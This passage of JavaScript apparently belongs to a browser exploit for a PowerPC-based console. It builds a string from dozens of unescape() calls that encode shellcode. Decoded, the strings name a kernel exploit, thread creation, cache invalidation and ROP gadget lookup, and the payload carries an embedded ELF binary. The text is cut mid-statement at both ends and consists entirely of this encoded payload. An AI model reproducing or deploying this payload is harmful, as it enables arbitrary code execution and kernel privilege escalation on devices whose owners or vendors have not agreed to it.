unescape(\"%u409e%u0014%u3929%u0001%u4bff%uffe8%u3860%u0000%u4e80%u0020%u3860%u0001%u4e80%u0020%u38a5%u0001%u3920%u0000%u7ca9%u03a6%u4240%u0014%u7d44%u48ae%u7d43%u49ae%u3929%u0001%u4bff%ufff0%u4e80%u0020\");\n    str    += unescape(\"%u7c08%u02a6%u9421%uffe8%ubf81%u0008%u7c7e%u1b78%u9001%u001c%u7c9d%u2378%u7cbf%u2b78%u3f80%u0180%u7f9f%ue000%u419e%u0024%u7fe3%ufb78%u7fc4%uf378%u7fa5%ueb78%u4bff%uff71%u2f83%u0000%u419e%u005c\");\n    str    += unescape(\"%u3bff%u0004%u4bff%uffdc%u3f80%u0f84%u3fe0%u0d80%u639c%u8a0c%u7fe3%ufb78%u7fc4%uf378%u7fa5%ueb78%u4bff%uff45%u2f83%u0000%u419e%u0030%u3bff%u0004%u7f9f%ue000%u409e%uffe0%u3d20%u0103%u3c60%u0180\");\n    str    += unescape(\"%u6129%u1368%u3863%u1d9a%u7d29%u03a6%u4e80%u0421%u3860%u0000%u4800%u0008%u7fe3%ufb78%u3961%u0018%u4800%u1194%u7c08%u02a6%u9421%ufff0%u93e1%u000c%u7c7f%u1b78%u9001%u0014%u3860%u0001%u3880%u0000\");\n    str    += unescape(\"%u38a0%u0000%u38c0%u0000%u38e0%u0000%u3d00%u0001%u7fe9%ufb78%u3800%u3400%u7c3f%u0b78%u4400%u0002%u6000%u0000%u7fe1%ufb78%u7c7f%u1b78%u3961%u0010%u7fe3%ufb78%u4800%u114c%u7c08%u02a6%u9421%ufff0\");\n    str    += unescape(\"%ubfc1%u0008%u7c7f%u1b78%u9001%u0014%u7c9e%u2378%u3860%u0001%u3880%u0000%u7fc5%uf378%u38c0%u0000%u38e0%u0000%u3d00%u0001%u7fe9%ufb78%u7c3e%u0b78%u3800%u3500%u4400%u0002%u6000%u0000%u7fc1%uf378\");\n    str    += unescape(\"%u3961%u0010%u4800%u10f8%u7c08%u02a6%u9421%ufee0%u3920%u0000%u7c24%u0b78%ubea1%u00f4%u9001%u0124%u7c7c%u1b78%u9524%u00e0%u3d20%u0102%u6129%ua31c%u83c3%u0004%u3c60%u0180%u7d29%u03a6%u3863%u1dac\");\n    str    += unescape(\"%u3fe0%u0102%u63ff%ub790%u3fa0%u0180%u3bbd%u1bd0%u4e80%u0421%u7fc3%uf378%u4bff%uf791%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u1db4%u38c1%u00dc%u4e80%u0421%u3ca0%u0180%u7fc3%uf378\");\n    str    += unescape(\"%u7fe9%u03a6%u3880%u0000%u38a5%u1d61%u38c1%u00d8%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u1ced%u38c1%u00d4%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000\");\n    str    += unescape(\"%u38a5%u1dbe%u38c1%u00d0%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u1dd0%u38c1%u00cc%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u1ddd%u38c1%u00c8\");\n    str    += unescape(\"%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u1c81%u38c1%u00c4%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u1c93%u38c1%u00c0%u4e80%u0421%u3ca0%u0180\");\n    str    += unescape(\"%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u1d67%u38c1%u00bc%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u1d76%u38c1%u00b8%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6\");\n    str    += unescape(\"%u3880%u0000%u38a5%u1df3%u38c1%u00b4%u4e80%u0421%u3ca0%u0180%u38c1%u00b0%u7fe9%u03a6%u7fc3%uf378%u38a5%u1d85%u3880%u0000%u4e80%u0421%u3861%u0088%u7cbd%u64aa%u7ca3%u65aa%u3880%u000c%u80a1%u00dc\");\n    str    += unescape(\"%u4bff%ufd01%u395d%u000c%u7c78%u1b78%u3861%u007c%u7caa%u64aa%u7ca3%u65aa%u3880%u000c%u80a1%u00dc%u4bff%ufce1%u395d%u0018%u3861%u0070%u3880%u000c%u7caa%u64aa%u7ca3%u65aa%u80a1%u00dc%u4bff%ufcc5\");\n    str    += unescape(\"%u395d%u0024%u3861%u0064%u3880%u000c%u7caa%u64aa%u7ca3%u65aa%u80a1%u00dc%u4bff%ufca9%u3ca0%u0180%u7fe9%u03a6%u3880%u0000%u38a5%u1e00%u38c1%u00ac%u7c77%u1b78%u8061%u00e0%u4e80%u0421%u3ca0%u0180\");\n    str    += unescape(\"%u38c1%u00a8%u38a5%u1e10%u7fe9%u03a6%u8061%u00e0%u3880%u0000%u4e80%u0421%u8121%u00c4%u3880%u0004%u3860%u004c%u7d29%u03a6%u4e80%u0421%u3d20%u1f20%u6129%u0014%u3940%uffb4%u9069%u0000%u3d20%u1f20\");\n    str    += unescape(\"%u6129%u0018%u7c7b%u1b78%u9149%u0000%u3d40%u1f20%u3920%uffff%u614a%u001c%u912a%u0000%u3d40%u1f20%u614a%u0020%u7c23%u0b78%u912a%u0000%u3d40%ufc2a%u9543%u00a4%u3ca0%u1000%u3880%u0004%u4bff%ufc05\");\n    str    += unescape(\"%u3881%u004c%u7c79%u1b78%u387d%u0030%u7ca3%uc4aa%u7ca4%uc5aa%u3ca0%u0100%u7c83%u2378%u3880%u0018%u4bff%ufbe1%u3881%u0034%u7c75%u1b78%u387d%u0048%u7ca3%uc4aa%u7ca4%uc5aa%u7c83%u2378%u3ca0%u0100\");\n    str    += unescape(\"%u3880%u0018%u4bff%ufbbd%u389d%u0060%u38a0%u002c%u7c7a%u1b78%u3861%u0008%u4bff%ufb85%u3ca0%u0100%u3880%u002c%u3861%u0008%u4bff%ufb99%u813c%u0014%u3880%u0008%u3ac3%u002c%u7d29%u03a6%u3860%u1000\");\n    str    += unescape(\"%u4e80%u0421%u813c%u0014%u7c7e%u1b78%u3880%u0020%u7d29%u03a6%u3860%u00a0%u4e80%u0421%u8161%u00bc%u7c7f%u1b78%u3c80%u011a%u7fc3%uf378%u6084%u1dd8%u38a0%u0000%u38c0%u0000%u38ff%u00a0%u3900%u00a0\");\n    str    += unescape(\"%u3920%u0000%u3940%u0009%u7d69%u03a6%u4e80%u0421%u2f83%u0000%u40be%u001c%u3d20%u0103%u3c60%u0180%u6129%u1368%u3863%u1e19%u7d29%u03a6%u4e80%u0421%u8141%u00ac%u3d00%u1b80%u3920%u0001%u6108%u0008\");\n    str    += unescape(\"%u394a%u002c%u913e%u0084%u915e%u0098%u7fc3%uf378%u93fe%u000c%u911e%u0014%u933e%u0080%u913f%u002c%u913f%u006c%u8121%u00b4%u915f%u0044%u3940%u0100%u913f%u0094%u8121%u00b8%u935f%u0024%u933f%u0028\");\n    str    += unescape(\"%u7d29%u03a6%u92bf%u0034%u911f%u0038%u935f%u0064%u915f%u0068%u92df%u0074%u4e80%u0421%u8121%u00b0%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u2f83%u0000%u409e%u0028%u6000%u0000%u6000%u0000%u6000%u0000\");\n    str    += unescape(\"%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u4bff%uffc8%u813c%u0018%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u813c%u0018%u7fe3%ufb78%u3be1%u009c%u7d29%u03a6%u4e80%u0421%u393d%u008c\");\n    str    += unescape(\"%u7d49%u34aa%u7d5f%u35aa%u3880%u0006%u38a0%u0000%u38c0%u0000%u7f09%u03a6%u7fe3%ufb78%u4e80%u0421%u3d20%uffea%u6129%ua1b0%u815d%u0098%u913b%u0044%u38a1%u0094%u813d%u0094%u38c0%u0008%u9141%u0098\");\n    str    += unescape(\"%u7ee9%u03a6%u9121%u0094%u3880%u0006%u7fe3%ufb78%u4e80%u0421%u3c60%uff20%u6063%u0008%u3880%u0000%u4bff%ufad9%u3c60%uffea%u809b%u0048%u6063%ua7a0%u4bff%ufac9%u3961%u0120%u4800%u0be0%u7c08%u02a6\");\n    str    += unescape(\"%u9421%uffc0%u3ca0%u0180%ubf61%u002c%u3fc0%u0102%u9001%u0044%u63de%ub790%u7c7f%u1b78%u7fc9%u03a6%u7c9c%u2378%u8063%u0004%u3880%u0000%u38a5%u2aa4%u38c1%u001c%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6\");\n    str    += unescape(\"%u807f%u0004%u3880%u0000%u38a5%u2ab1%u38c1%u0018%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u807f%u0004%u3880%u0000%u38a5%u2ac9%u38c1%u0014%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u807f%u0004%u3880%u0000\");\n    str    += unescape(\"%u38a5%u2add%u38c1%u0010%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u807f%u0004%u3880%u0000%u38a5%u2af3%u38c1%u000c%u4e80%u0421%u3ca0%u0180%u38a5%u2b09%u38c1%u0008%u3880%u0000%u807f%u0004%u7fc9%u03a6\");\n    str    += unescape(\"%u4e80%u0421%u8121%u001c%u7d29%u03a6%u4e80%u0421%u8121%u0018%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u0018%u7c7e%u1b78%u3860%u0001%u7d29%u03a6%u3fbe%uf400%u4e80%u0421%u8121%u0014%u7c7b%u1b78\");\n    str    += unescape(\"%u3c80%uf400%u7d29%u03a6%u3860%u0000%u4e80%u0421%u8121%u0014%u7fa4%ueb78%u3860%u0001%u7d29%u03a6%u4e80%u0421%u8121%u0010%u3880%u0000%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u0010%u3880%u0000\");\n    str    += unescape(\"%u3860%u0001%u7d29%u03a6%u4e80%u0421%u813f%u001c%u3c60%uf400%u7fc4%uf378%u7d29%u03a6%u4e80%u0421%u813f%u001c%u7f64%udb78%u7fa3%ueb78%u7d29%u03a6%u4e80%u0421%u8121%u000c%u3860%u0000%u7d29%u03a6\");\n    str    += unescape(\"%u4e80%u0421%u8121%u000c%u3860%u0001%u7d29%u03a6%u4e80%u0421%u8121%u0008%u3880%u0000%u38a0%u0000%u7f86%ue378%u7d29%u03a6%u3860%u0001%u4e80%u0421%u8121%u000c%u3860%u0001%u7d29%u03a6%u4e80%u0421\");\n    str    += unescape(\"%u8121%u0010%u3860%u0001%u3880%u0000%u7d29%u03a6%u4e80%u0421%u3d20%u4000%u7d29%u03a6%u4240%u000c%u6000%u0000%u4bff%ufff8%u813f%u0024%u7d29%u03a6%u4e80%u0421%u3961%u0040%u4800%u09f8%u3d00%u01ff\");\n    str    += unescape(\"%u3ce3%u4000%u6108%uffff%u7f87%u4040%u409d%u002c%u3d00%u00ff%u3ce3%u3e00%u6108%uffff%u7f87%u4040%u419d%u0028%u3d20%u3200%u3d40%uc200%u6129%u0012%u614a%u01ff%u4800%u0014%u3d20%u3000%u3d40%uc000\");\n    str    += unescape(\"%u6129%u0012%u614a%u03ff%u7cf8%u82a6%u7d19%u82a6%u7d58%u83a6%u7d39%u83a6%u7c00%u06ac%u4c00%u012c%u3945%u0001%u3920%u0000%u7d49%u03a6%u4240%u0014%u7d49%u20ae%u7d49%u19ae%u3929%u0001%u4bff%ufff0\");\n    str    += unescape(\"%u5469%u0034%u7c63%u2a14%u7f89%u1840%u409c%u0014%u7c00%u48ac%u7c00%u04ac%u3929%u0020%u4bff%uffec%u7cf8%u83a6%u7d19%u83a6%u7c00%u06ac%u4c00%u012c%u4e80%u0020%u9421%uffe8%u7c08%u02a6%u3920%u0000\");\n    str    += unescape(\"%u3c60%u0180%u9121%u0008%u3d20%u0102%u6129%ua31c%u9001%u001c%u3881%u000c%u7d29%u03a6%u3863%u2b1b%u4e80%u0421%u3d20%u0102%u6129%ub790%u3ca0%u0180%u8061%u000c%u38c1%u0008%u7d29%u03a6%u3880%u0000\");\n    str    += unescape(\"%u38a5%u2b26%u4e80%u0421%u8121%u0008%u7d29%u03a6%u4e80%u0421%u8001%u001c%u3821%u0018%u7c08%u03a6%u4e80%u0020%u9421%uffe0%u7c08%u02a6%ubf41%u0008%u7c9f%u2379%u9001%u0024%u7c7e%u1b78%u7cbd%u2b78\");\n    str    += unescape(\"%u7cdc%u3378%u7cfb%u3b78%u7d1a%u4378%u4182%u0024%u813f%u0000%u6d2a%u7f45%u2f8a%u4c46%u409e%u0014%u813f%u0010%u6d2a%u0002%u2f8a%u0014%u419e%u0014%u3c80%u0180%u7fc3%uf378%u3884%u2b3a%u4bff%ufc81\");\n    str    += unescape(\"%u80ff%u0020%u3960%u0000%ua11f%u0030%u7cff%u3a14%u7ce9%u3b78%u7f8b%u4000%u409c%u0060%ua0df%u0032%u8149%u0000%u1cc6%u0028%u7cc7%u3214%u80a6%u0010%u7caa%u2a14%u7faa%ueb78%u7cbf%u2a14%u38a5%uffff\");\n    str    += unescape(\"%u8c05%u0001%u2f80%u0000%u419e%u0020%u88ca%u0000%u2f86%u0000%u419e%u0014%u7f80%u3040%u409e%u0060%u394a%u0001%u4bff%uffdc%u894a%u0000%u7f8a%u0000%u41be%u0024%u4800%u0048%u2f9a%u0000%u3be0%u0000\");\n    str    += unescape(\"%u41be%u0048%u7fc3%uf378%u7fa4%ueb78%u4bff%ufbf1%u4800%u0038%u2f9b%u0000%u419e%u000c%u8149%u000c%u915b%u0000%u2f9c%u0000%u419e%u000c%u8149%u0014%u915c%u0000%u83e9%u0010%u4800%u0010%u396b%u0001\");\n    str    += unescape(\"%u3929%u0028%u4bff%uff50%u3961%u0020%u7fe3%ufb78%u4800%u079c%u7c08%u02a6%u9421%uff60%u3d20%u0102%u3c60%u0180%u6129%ua31c%ubfc1%u0098%u9001%u00a4%u7d29%u03a6%u3863%u2b4b%u3881%u0094%u3fe0%u0102\");\n    str    += unescape(\"%u63ff%ub790%u4e80%u0421%u3ca0%u0180%u38c1%u008c%u8061%u0094%u3880%u0000%u38a5%u2b58%u7fe9%u03a6%u4e80%u0421%u8121%u008c%u3880%u0000%u38a0%u003c%u7d29%u03a6%u3861%u0008%u4e80%u0421%u8121%u008c\");\n    str    += unescape(\"%u8061%u0094%u3ca0%u0180%u9121%u0014%u3d20%u0180%u3929%u1e34%u9061%u000c%u9121%u0008%u3880%u0001%u38a5%u2b5f%u38c1%u0090%u7fe9%u03a6%u4e80%u0421%u8121%u0090%u3ca0%u0180%u8061%u0094%u8129%u0000\");\n    str    += unescape(\"%u3880%u0001%u38a5%u2b79%u38c1%u0090%u9121%u001c%u7fe9%u03a6%u4e80%u0421%u8121%u0090%u3ca0%u0180%u8061%u0094%u8129%u0000%u3880%u0000%u38a5%u2b8e%u38c1%u0010%u9121%u0020%u7fe9%u03a6%u4e80%u0421\");\n    str    += unescape(\"%u3ca0%u0180%u8061%u0094%u3880%u0000%u38a5%u2b95%u38c1%u0018%u7fe9%u03a6%u4e80%u0421%u3ca0%u0180%u8061%u0094%u3880%u0000%u38a5%u2bab%u38c1%u0024%u7fe9%u03a6%u4e80%u0421%u3ca0%u0180%u8061%u0094\");\n    str    += unescape(\"%u3880%u0000%u38a5%u2bb8%u38c1%u0028%u7fe9%u03a6%u4e80%u0421%u3ca0%u0180%u8061%u0094%u3880%u0000%u38a5%u2bca%u38c1%u002c%u7fe9%u03a6%u4e80%u0421%u8121%u0018%u3c60%ua000%u7d29%u03a6%u4e80%u0421\");\n    str    += unescape(\"%u2f83%u0000%u40be%u0010%u3861%u0008%u4bff%uf53d%u4800%u0144%u3ca0%u0180%u7fe9%u03a6%u8061%u0094%u3880%u0000%u38a5%u2bd0%u38c1%u0070%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0094%u3880%u0000\");\n    str    += unescape(\"%u38a5%u2bd8%u38c1%u006c%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0094%u3880%u0000%u38a5%u2be1%u38c1%u0068%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0094%u3880%u0000%u38a5%u2bf3%u38c1%u0064\");\n    str    += unescape(\"%u4e80%u0421%u3ca0%u0180%u3880%u0000%u38a5%u2c05%u38c1%u0044%u7fe9%u03a6%u8061%u0094%u4e80%u0421%u8121%u0070%u7d29%u03a6%u4e80%u0421%u8121%u0064%u7c7e%u1b78%u3880%u0040%u3860%u0100%u7d29%u03a6\");\n    str    += unescape(\"%u4e80%u0421%u7c7f%u1b79%u40a2%u0014%u3c80%u0180%u3861%u0008%u3884%u2c14%u4bff%uf965%u8121%u0014%u3880%u0000%u38a0%u0100%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u8121%u0068%u7fe4%ufb78%u38a0%u0003\");\n    str    += unescape(\"%u38c0%u0000%u38e0%u0000%u7d29%u03a6%u7fc3%uf378%u4e80%u0421%u8121%u006c%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u8121%u0044%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u3c60%uffea%u6063%uaa58%u3880%u0000\");\n    str    += unescape(\"%u4bff%uf3b9%u3c60%uffea%u6063%uaa5c%u3c80%u1400%u4bff%uf3a9%u3fe0%u0102%u3ca0%u0180%u63ff%ub790%u8061%u0094%u7fe9%u03a6%u3880%u0000%u38a5%u2c42%u38c1%u0088%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6\");\n    str    += unescape(\"%u8061%u0094%u3880%u0000%u38a5%u2c51%u38c1%u0084%u4e80%u0421%u3ca0%u0180%u38a5%u2c60%u38c1%u0080%u7fe9%u03a6%u8061%u0094%u3880%u0000%u4e80%u0421%u8121%u001c%u3880%u0020%u3860%u4000%u7d29%u03a6\");\n    str    += unescape(\"%u4e80%u0421%u8121%u001c%u7c7e%u1b78%u3880%u0008%u3860%u1000%u7d29%u03a6%u4e80%u0421%u7c7f%u1b79%u4182%u000c%u2f9e%u0000%u40be%u0014%u3c80%u0180%u3861%u0008%u3884%u2c75%u4bff%uf845%u8161%u0088\");\n    str    += unescape(\"%u3c80%u0180%u7fe3%ufb78%u3884%u1270%u38a0%u0001%u38c1%u0008%u38fe%u4000%u3900%u4000%u3920%u0000%u3940%u001a%u7d69%u03a6%u4e80%u0421%u2f83%u0000%u40be%u0014%u3c80%u0180%u3861%u0008%u3884%u2cb1\");\n    str    += unescape(\"%u4bff%uf7fd%u8121%u0084%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u8121%u0080%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u2f83%u0000%u409e%u0028%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000\");\n    str    += unescape(\"%u6000%u0000%u6000%u0000%u6000%u0000%u4bff%uffc8%u3c60%uffea%u3c80%u0180%u6063%ua174%u3884%u11b8%u4bff%uf259%u8081%u0008%u3ca0%u0180%u3920%u0000%u3861%u0008%u38a5%u2ce5%u38c1%u0078%u38e1%u007c\");\n    str    += unescape(\"%u3900%u0001%u9121%u007c%u9121%u0078%u4bff%ufa99%u7c6a%u1b79%u8081%u0008%u41a2%u0018%u8061%u007c%u7c84%u5214%u80a1%u0078%u3c63%uc000%u4bff%ue7a5%u8081%u0008%u3ca0%u0180%u3920%u0000%u3861%u0008\");\n    str    += unescape(\"%u38a5%u2ceb%u38c1%u0070%u38e1%u0074%u3900%u0000%u9121%u0074%u9121%u0070%u4bff%ufa4d%u7c64%u1b79%u41a2%u001c%u8061%u0074%u8121%u0008%u80a1%u0070%u3c63%uc000%u7c89%u2214%u4bff%ue759%u8081%u0008\");\n    str    += unescape(\"%u3ca0%u0180%u3920%u0000%u3861%u0008%u38a5%u2cf3%u38c1%u0068%u38e1%u006c%u3900%u0000%u9121%u006c%u9121%u0068%u4bff%ufa01%u7c64%u1b79%u41a2%u001c%u8061%u006c%u8121%u0008%u80a1%u0068%u3c63%uc000\");\n    str    += unescape(\"%u7c89%u2214%u4bff%ue70d%u8081%u0008%u3ca0%u0180%u3920%u0000%u3861%u0008%u38a5%u2cf9%u38c1%u0044%u38e1%u0064%u3900%u0000%u9121%u0064%u9121%u0044%u4bff%uf9b5%u7c64%u1b79%u41a2%u001c%u8061%u0064\");\n    str    += unescape(\"%u8121%u0008%u80a1%u0044%u3c63%uc000%u7c89%u2214%u4bff%ue6c1%u3c60%uffea%u3c80%u0180%u6063%ua1b8%u3884%u0058%u4bff%uf115%u3c60%uffe8%u3c80%ufff0%u6063%u4d40%u6084%u2274%u4bff%uf101%u3c60%uffe8\");\n    str    += unescape(\"%u3c80%ufff0%u6063%u5140%u6084%u2274%u4bff%uf0ed%u3c60%uffe8%u3c80%ufff0%u6063%u5540%u6084%u2274%u4bff%uf0d9%u3c60%uffea%u3c80%ufff0%u6063%u9db0%u6084%u2274%u4bff%uf0c5%u3c60%uffe8%u3c80%ufff0\");\n    str    += unescape(\"%u6063%u4d44%u6084%u2294%u4bff%uf0b1%u3c60%uffe8%u3c80%ufff0%u6063%u5144%u6084%u2294%u4bff%uf09d%u3c60%uffe8%u3c80%ufff0%u6063%u5544%u6084%u2294%u4bff%uf089%u3c60%uffea%u3c80%ufff0%u6063%u9db4\");\n    str    += unescape(\"%u6084%u2294%u4bff%uf075%u4bff%ue615%u8121%u0014%u3880%u0000%u38a0%u0020%u7d29%u03a6%u3861%u0044%u4e80%u0421%u3c60%uc080%u3920%u0214%u6063%u1404%u3881%u0064%u38a0%u0004%u9121%u0064%u4bff%ue5d5\");\n    str    += unescape(\"%u3d20%udead%u3c60%uc080%u6129%uc0de%u6063%u1400%u3881%u0064%u38a0%u0004%u9121%u0064%u4bff%ue5b5%u3c60%uc080%u3881%u0064%u6063%u1300%u38a0%u0004%u4bff%ue5a1%u3c60%uc080%u3920%u0000%u6063%u1304\");\n    str    += unescape(\"%u3881%u0064%u38a0%u0004%u9121%u0064%u4bff%ue585%u3d20%u0102%u3c60%uc080%u6129%ua31c%u6063%u1500%u9121%u0044%u3d20%u0102%u6129%ub790%u3881%u0044%u9121%u0048%u3d20%uffe8%u6129%u4c70%u38a0%u0020\");\n    str    += unescape(\"%u9121%u0050%u3d20%uffe8%u6129%u5070%u9121%u0054%u3d20%uffe8%u6129%u5470%u9121%u0058%u3d20%uffea%u6129%u9ce0%u9121%u005c%u3d20%uffea%u6129%ua0e0%u9121%u0060%u3d20%u1005%u6129%ud180%u9121%u004c\");\n    str    += unescape(\"%u4bff%ue511%u8121%u0008%u3c60%uc201%u38a0%u0004%u6063%uc55c%u8129%u0018%u3881%u0064%u5529%u01ba%u6529%u4800%u6129%u0003%u9121%u0064%u4bff%ue4e5%u8121%u0028%u3c60%u0101%u3880%u0004%u6063%uc55c\");\n    str    += unescape(\"%u7d29%u03a6%u4e80%u0421%u8121%u0020%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u8121%u0020%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u8121%u002c%u7d29%u03a6%u4e80%u0421%u3961%u00a0%u4800%u0044%u81cb%uffb8\");\n    str    += unescape(\"%u81eb%uffbc%u820b%uffc0%u822b%uffc4%u824b%uffc8%u826b%uffcc%u828b%uffd0%u82ab%uffd4%u82cb%uffd8%u82eb%uffdc%u830b%uffe0%u832b%uffe4%u834b%uffe8%u836b%uffec%u838b%ufff0%u83ab%ufff4%u83cb%ufff8\");\n    str    += unescape(\"%u800b%u0004%u83eb%ufffc%u7c08%u03a6%u7d61%u5b78%u4e80%u0020%u3800%u3200%u4400%u0002%u4e80%u0020%u3800%u3300%u4400%u0002%u4e80%u0020%u3800%u4700%u4400%u0002%u4e80%u0020%u3800%u4800%u4400%u0002\");\n    str    += unescape(\"%u4e80%u0020%u8061%u0008%u8081%u000c%u8001%u0014%u7c08%u03a6%u3821%u0010%u4e80%u0020%u8001%u0014%u83e1%u000c%u7c08%u03a6%u83c1%u0008%u3821%u0010%u4e80%u0020%uba81%u0008%u8001%u003c%u7c08%u03a6\");\n    str    += unescape(\"%u3821%u0038%u4e80%u0020%u9421%uffe0%ubf61%u000c%u7c08%u02a6%u7c7e%u1b78%u7c9f%u2378%u9001%u0024%u4452%u5648%u4158%u0000%ufff0%u2274%ufff0%u2294%u4f53%u5969%u656c%u6454%u6872%u6561%u6400%u6d65\");\n    str    += unescape(\"%u6d73%u6574%u004f%u5341%u6c6c%u6f63%u4672%u6f6d%u5379%u7374%u656d%u004f%u5346%u7265%u6554%u6f53%u7973%u7465%u6d00%u494d%u5f53%u6574%u4465%u7669%u6365%u5374%u6174%u6500%u494d%u5f43%u6c6f%u7365\");\n    str    += unescape(\"%u0049%u4d5f%u4f70%u656e%u004f%u5353%u6372%u6565%u6e50%u7574%u466f%u6e74%u4578%u004f%u5353%u6372%u6565%u6e43%u6c65%u6172%u4275%u6666%u6572%u4578%u0044%u4346%u6c75%u7368%u5261%u6e67%u6500%u4f53\");\n    str    += unescape(\"%u5363%u7265%u656e%u466c%u6970%u4275%u6666%u6572%u7345%u7800%u4f53%u5363%u7265%u656e%u4765%u7442%u7566%u6665%u7253%u697a%u6545%u7800%u4f53%u5363%u7265%u656e%u496e%u6974%u004f%u5353%u6372%u6565\");\n    str    += unescape(\"%u6e53%u6574%u4275%u6666%u6572%u4578%u004f%u5344%u7269%u7665%u7220%u4b65%u726e%u656c%u2045%u7870%u6c6f%u6974%u005f%u4578%u6974%u004f%u5343%u7265%u6174%u6554%u6872%u6561%u6400%u4f53%u5265%u7375\");\n    str    += unescape(\"%u6d65%u5468%u7265%u6164%u004f%u5349%u7354%u6872%u6561%u6454%u6572%u6d69%u6e61%u7465%u6400%u4761%u6467%u6574%u206e%u6f74%u2066%u6f75%u6e64%u2100%u6778%u322e%u7270%u6c00%u5f5f%u5050%u4345%u7869\");\n    str    += unescape(\"%u7400%u4443%u496e%u7661%u6c69%u6461%u7465%u5261%u6e67%u6500%u4443%u546f%u7563%u6852%u616e%u6765%u004f%u5345%u6666%u6563%u7469%u7665%u546f%u5068%u7973%u6963%u616c%u004f%u5345%u7869%u7454%u6872\");\n    str    += unescape(\"%u6561%u6400%u4758%u3253%u6574%u5365%u6d61%u7068%u6f72%u6500%u4758%u3246%u6c75%u7368%u0046%u6169%u6c65%u6420%u746f%u2063%u7265%u6174%u6520%u7468%u7265%u6164%u0000%u0000%u7f45%u4c46%u0102%u0100\");\n    str    += unescape(\"%u0000%u0000%u0000%u0000%u0002%u0014%u0000%u0001%u0080%u04d0%u0000%u0034%u0000%u0bd0%u0000%u0000%u0034%u0020%u0001%u0028%u0004%u0003%u0000%u0001%u0000%u0054%u0080%u0000%u0080%u0000%u0000%u0b64\");\n    str    += unescape(\"%u0000%u0b64%u0000%u0005%u0000%u0004%u7ca8%u02a6%u7ca9%u03a6%u7ce8%u03a6%u7cb0%u8aa6%u7cba%u8ba6%u7cb1%u8aa6%u7cbb%u8ba6%u80a3%u0034%u80c3%u0038%u80e3%u003c%u8103%u0040%u8123%u0044%u8143%u0048\");\n    str    += unescape(\"%u8163%u004c%u8063%u0050%u4c00%u012c%u7ca7%u01a4%u4e80%u0420%u7c08%u02a6%u9421%uffe0%ubf61%u000c%u7c9f%u2378%u9001%u0024%u83c4%u001c%u2f9e%u0000%u40be%u000c%u3860%u0000%u4800%u0180%ua124%u002c\");\n    str    += unescape(\"%u2f89%u0000%u41be%ufff0%ua124%u002a%u2f89%u0020%u409e%uffe4%u7c7d%u1b78%u7fc4%uf214%u3b80%u0000%ua13f%u002c%u7f9c%u4800%u409c%u0084%u813e%u0000%u2f89%u0001%u40be%u006c%u80be%u0010%u813e%u0014\");\n    str    += unescape(\"%u7f85%u4840%u41bd%uffb0%u2f85%u0000%u41be%u0054%u837e%u000c%u813d%u0008%u809e%u0004%u7f63%udb78%u7d29%u03a6%u7c9f%u2214%u4e80%u0421%u813d%u0014%u7f63%udb78%u809e%u0010%u7d29%u03a6%u4e80%u0421\");\n    str    += unescape(\"%u813e%u0018%u712a%u0001%u41a2%u0018%u813d%u0018%u807e%u000c%u809e%u0014%u7d29%u03a6%u4e80%u0421%u3b9c%u0001%u3bde%u0020%u4bff%uff78%u837f%u0020%u3b80%u0000%u7f7f%uda14%u7f7e%udb78%ua13f%u0030\");\n    str    += unescape(\"%u7f9c%u4800%u409c%u00b0%ua15f%u0032%u813e%u0000%u1d4a%u0028%u7d5b%u5214%u814a%u0010%u7d49%u5214%u7d3f%u5214%u7d5f%u50ae%u2f8a%u002e%u40be%u007c%u8949%u0001%u2b8a%u0062%u40be%u0018%u8949%u0002\");\n    str    += unescape(\"%u2f8a%u0073%u40be%u0064%u8929%u0003%u4800%u0028%u2b8a%u0073%u40be%u0054%u8949%u0002%u2f8a%u0062%u40be%u0048%u8949%u0003%u2f8a%u0073%u40be%u003c%u8929%u0004%u2f89%u0073%u40be%u0030%u813d%u000c\");\n    str    += unescape(\"%u3880%u0000%u807e%u000c%u7d29%u03a6%u80be%u0014%u4e80%u0421%u813d%u0014%u807e%u000c%u809e%u0014%u7d29%u03a6%u4e80%u0421%u3b9c%u0001%u3bde%u0028%u4bff%uff4c%u807f%u0018%u3961%u0020%u4800%u0734\");\n    str    += unescape(\"%u7c08%u02a6%u9421%ufbe8%u3920%uffff%u9121%u03ec%u9001%u041c%ubf21%u03fc%u7c7f%u1b78%u8123%u0000%u7c99%u2378%u3860%u1700%u3880%u0004%u7d29%u03a6%u7cba%u2b78%u4e80%u0421%u7c7e%u1b79%u4182%u0294\");\n    str    += 